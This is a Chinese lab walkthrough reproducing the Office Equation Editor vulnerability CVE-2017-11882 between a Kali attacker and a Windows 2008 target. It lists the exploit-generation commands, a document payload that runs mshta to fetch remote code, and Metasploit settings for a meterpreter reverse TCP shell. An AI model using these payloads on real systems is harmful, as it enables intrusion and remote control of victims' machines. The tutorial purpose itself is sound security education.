Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

  • 1.漏洞原理
  • 2.在Kali平台查看漏洞利用文件
  • 3.登录目标靶机,打开FTP服务器
  • 4.登录Kali,利用FTP服务器上传payload-cale.doc文件
  • 5.登录目标靶机,触发doc文件,验证存在漏洞
  • 6.登录kali平台,执行命令,生成含有攻击代码的doc文档
  • 7.在kali平台上启动并配置metapsloit
  • 8.在目标平台双击payloadattack.doc文档,触发漏洞

1.漏洞原理

CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞

该漏洞是在EQNEDT32.EXE组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。 原因是由于EQNEDT32.EXE进程读入包含MathType的ole数据。函数给Font Name数据分配的大小是0x24个字节,超过大小会造成栈缓冲区溢出。而程序在拷贝公式Font Name数据时没有对其长度进行校验,从而导致漏洞发生

通杀以下没有更新的Office版本:

  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016
  • MicrosoftOffice 365

漏洞环境:

攻击机:Kali(10.10.0.11)
工具:metasploit

目标靶机:Windows2008 (10.10.0.9)
工具:Office软件、Ftpserver

2.在Kali平台查看漏洞利用文件

准备攻击的payload文件(doc文件):

该文件由Github的CVE-2017-11882.py攻击脚本生成

python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o payload-cale.doc

在这里插入图片描述

它的功能是打开office文本的同时能够弹出计算机程序,本实验通过此文本验证目标靶机上是否存在Office远程代码执行漏洞(CVE-2017-11882)漏洞


3.登录目标靶机,打开FTP服务器

打开FTP服务器。点击最左面绿色按钮,启动ftp服务器:

在这里插入图片描述

可以看到以下变化:ftp服务器启动。显示“FTP服务在线”。FTP文件目录是在靶机桌面上


4.登录Kali,利用FTP服务器上传payload-cale.doc文件

Kali终端上切换到root账户,之后使用ftp工具连接靶机服务:

在这里插入图片描述

登录ftp成功后,将payload-cale.doc文件通过命令上传到目标靶机windows2008上

put /home/college/CVE-2017-11882-payload/payload-cale.doc /payload-cale.doc

在这里插入图片描述


5.登录目标靶机,触发doc文件,验证存在漏洞

在这里插入图片描述


6.登录kali平台,执行命令,生成含有攻击代码的doc文档

python CVE-2017-11882.py -c "mshta http://10.10.0.11:8080/payload" -o payloadattack.doc 

在这里插入图片描述

利用FTP服务上传文件到目标靶机:

在这里插入图片描述


7.在kali平台上启动并配置metapsloit

启动:

msfconsole

在这里插入图片描述

查找CVE-2017-11882 漏洞:

search CVE-2017-11882 

加载攻击利用程序,设置payload及各项参数:

 use exploit/windows/smb/CVE-2017-11882 

在这里插入图片描述

设置payload为反弹tcp:

set payload windows/meterpreter/reverse_tcp

在这里插入图片描述

设置本机地址:

set lhost 10.10.0.11

设置uri的路径:

 set URIPATH payload

在这里插入图片描述

运行payload,启动利用后,msf会监听本机8080端口,靶机访问10.10.0.11:8080/payload,打开链接就会得到反弹到4444端口的tcp会话中

发起漏洞攻击:

exploit -j 

在这里插入图片描述


8.在目标平台双击payloadattack.doc文档,触发漏洞

在靶机桌面上可以看到上步ftp上传的文件的文件,双击打开此文件,即可建立连接了

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/33126.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Angular 与 PDF之五 实现方式的选择与扩展

在纯web的前提下(不考虑移动端native),PDF的功能基本包括: 客户端PDF:最简单的场景,实现方式也很多,基本不需要有什么顾虑的地方,简单的实现可以参考系列第一篇文章。客户端PDF预览&…

华为战略方法论:BLM模型之差距分析(限制版)

目录 说明 差距类型 1、业绩差距 2、机会差距 3、对标差距 专栏列表 个人简介 说明 今天就来谈谈 BLM 模型中的第一把钥匙,也就是差距分析。 从本质上来看。 BLM 模型中的差距与你在日常生活中听到或用到的差距在意义都是一样的。 不同之处就在于问题的复…

网络安全(黑客)自学

建议一:黑客七个等级 黑客,对很多人来说充满诱惑力。很多人可以发现这门领域如同任何一门领域,越深入越敬畏,知识如海洋,黑客也存在一些等级,参考知道创宇 CEO ic(世界顶级黑客团队 0x557 成员&…

java Collection集合使用笔记

1、Collection集合概述 它是单例集合的最顶层接口,它表示一组对象,这些对象也称之为Collection的元素JDK不提供此接口任何直接实现,但提供更具体的子接口(如:List和Set)实现创建Collection集合对象的方法&…

Ant Design Vue 走马灯实现单页多张图片轮播

最近的项目有个需求是,这种单页多图一次滚动一张图片的轮播效果,项目组件库是antd、vue3 然而用了antd的走马灯是这样子的 我们可以看到官网给的api是没有这种功能,百度上也多是在css上动刀,那样也就毕竟繁琐了,我们是…

测试Hyperledger Fabric环境

首先进入fabric-samples目录中的first-networked 子目录 cd fabric-samples/first-network 在first-network目录下有一个自动化脚本byfn.sh,可以使用-help参数查看相应的可 用命令,在命令提示符中输入如下命令: ./byfn.sh --help命令执行成功后&#…

力扣 106. 从中序与后序遍历序列构造二叉树

题目来源:https://leetcode.cn/problems/construct-binary-tree-from-inorder-and-postorder-traversal/description/ C题解:中序遍历是左中右,后序遍历是左右中,所以拿到两个遍历数组,我们可以从后序遍历获取中间节点…

西安石油大学期末考试C++真题解析

1、一、类型、返回值类型 二、参数表、函数重载 2、一、实例化 二、实例化的类型或类类是对象的蓝图,对象是类的实例化 3、const 4、一个 两个 5、一、公有继承 二、私有继承、保护继承 6、抽象类、实例化对象 7、函数模板、类模板 8、try、catch、throw 9、…

SpringBoot初始化接口CommandLineRunner

CommandLineRunner的使用 接口定义使用执行顺序使用 Order 注解实现Orderd接口排序总结 接口定义 Spring官方给出的接口定义 package org.springframework.boot;FunctionalInterface public interface CommandLineRunner {void run(String... args) throws Exception; }在 Sp…

Facebook如何与品牌合作,提升用户体验?

Facebook是全球最大的社交媒体平台之一,每天有数亿用户在上面发布内容、互动交流。对于品牌来说,与Facebook合作可以帮助它们扩大影响力、吸引更多潜在客户。 但是,与Facebook合作不仅仅是在平台上发布广告,还需要更深入的合作来…

如何在 Spring Boot 中使用反向代理

如何在 Spring Boot 中使用反向代理 介绍 在分布式系统中,反向代理是一项非常重要的技术。通过反向代理,可以将客户端的请求转发到后端的多台服务器上,实现负载均衡和故障转移等功能。本文将介绍如何在 Spring Boot 应用中使用反向代理。 环…

Flink DataStream之创建执行环境

新建project&#xff1a; pom文件 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://ma…

iMazing 2.16官方下载使用起来安全吗?

鉴于苹果设备的封闭性与安全性&#xff0c;我们大部分情况下都需要搭配iTunes进行设备的管理。但作为一款全方位的iOS设备管理软件&#xff0c;iMazing竟然可以突破iTunes的限制&#xff0c;与设备直接连接&#xff0c;进行备份、管理等操作。 因此&#xff0c;很多人都会有疑…

OpenStack(T版)——块存储(Cinder)服务介绍与安装

文章目录 OpenStack(T版)——块存储(Cinder)服务介绍与安装安装和配置(controller)准备(1)创建数据库(2)加载admin user的环境变量(3)创建Identity服务凭据(4)创建Cinder 块存储服务组件的API endpoint 安装和配置Cinder块存储服务组件(1)安装软件包(2)编辑/etc/cinder/cinder.…

【Java可执行命令】(三)API文档生成工具javadoc: 深入解析Java API文档生成工具javadoc ~

Java可执行命令详解之javadoc 1️⃣ 概念2️⃣ 优势和缺点3️⃣ 使用3.1 语法格式3.1.1 可选参数&#xff1a;-d < directory>3.1.2 可选参数&#xff1a;-sourcepath < pathlist>3.1.3 可选参数&#xff1a;-classpath < pathlist>3.1.4 可选参数&#xff1…

工业RFID在自动化控制中的解决方案

在工业自动化控制领域中&#xff0c;利用RFID技术可以对物品、设备和工具的进行追踪&#xff0c;可以有效提高生产效率和管理水平。下面我们就一起来了解一下&#xff0c;RFID在工业自动化控制中的解决方案是什么样的。 工业RFID在自动化控制中的解决方案 在工业生产过程中&a…

使用 Jetpack Compose 构建 LinearProgressIndicator

欢迎阅读这篇关于如何使用 Jetpack Compose 构建 LinearProgressIndicator&#xff08;线性进度指示器&#xff09;的博客。Jetpack Compose 是 Google 推出的一款现代化 UI 工具包&#xff0c;用于构建 Android 界面。其声明式的设计使得 UI 开发更加简洁、直观。 什么是 Line…

AQS之Semaphore详解

AQS之Semaphore详解 一、Semaphore类的继承关系1. AbstractQueuedSynchronizer:提供了一个同步器的框架。2. Sync&#xff1a;Semaphore的内部类&#xff0c;提供了锁的具体实现。3. FairSync&#xff1a;Sync的子类&#xff0c;实现公平锁。4. NonfairSync:Sync的子类&#xf…

ARHUD驾车导航技术概览

ARHUD(Augmented Reality Head Up Display)&#xff0c;即增强现实与抬头显示的结合&#xff0c;是一种将渲染元素投影在真实世界的技术&#xff0c;也是目前用户理解成本最低的展示方式。 HUD功能第一次应用是在二战中&#xff0c;被应用在枪械和战斗机上&#xff0c;80年代初…

React hooks文档笔记(三) 状态

状态 一、如何设计组件状态的步骤二、状态构造原则1. 组相关状态2. 避免矛盾/互斥状态3. 避免多余状态4. 不要把props放进state&#xff0c;除非你特别想要阻止更新 三、状态保存/重置1. 相同位置的相同组件保留状态2. 同一位置不同元素reset状态 一、如何设计组件状态的步骤 …
最新文章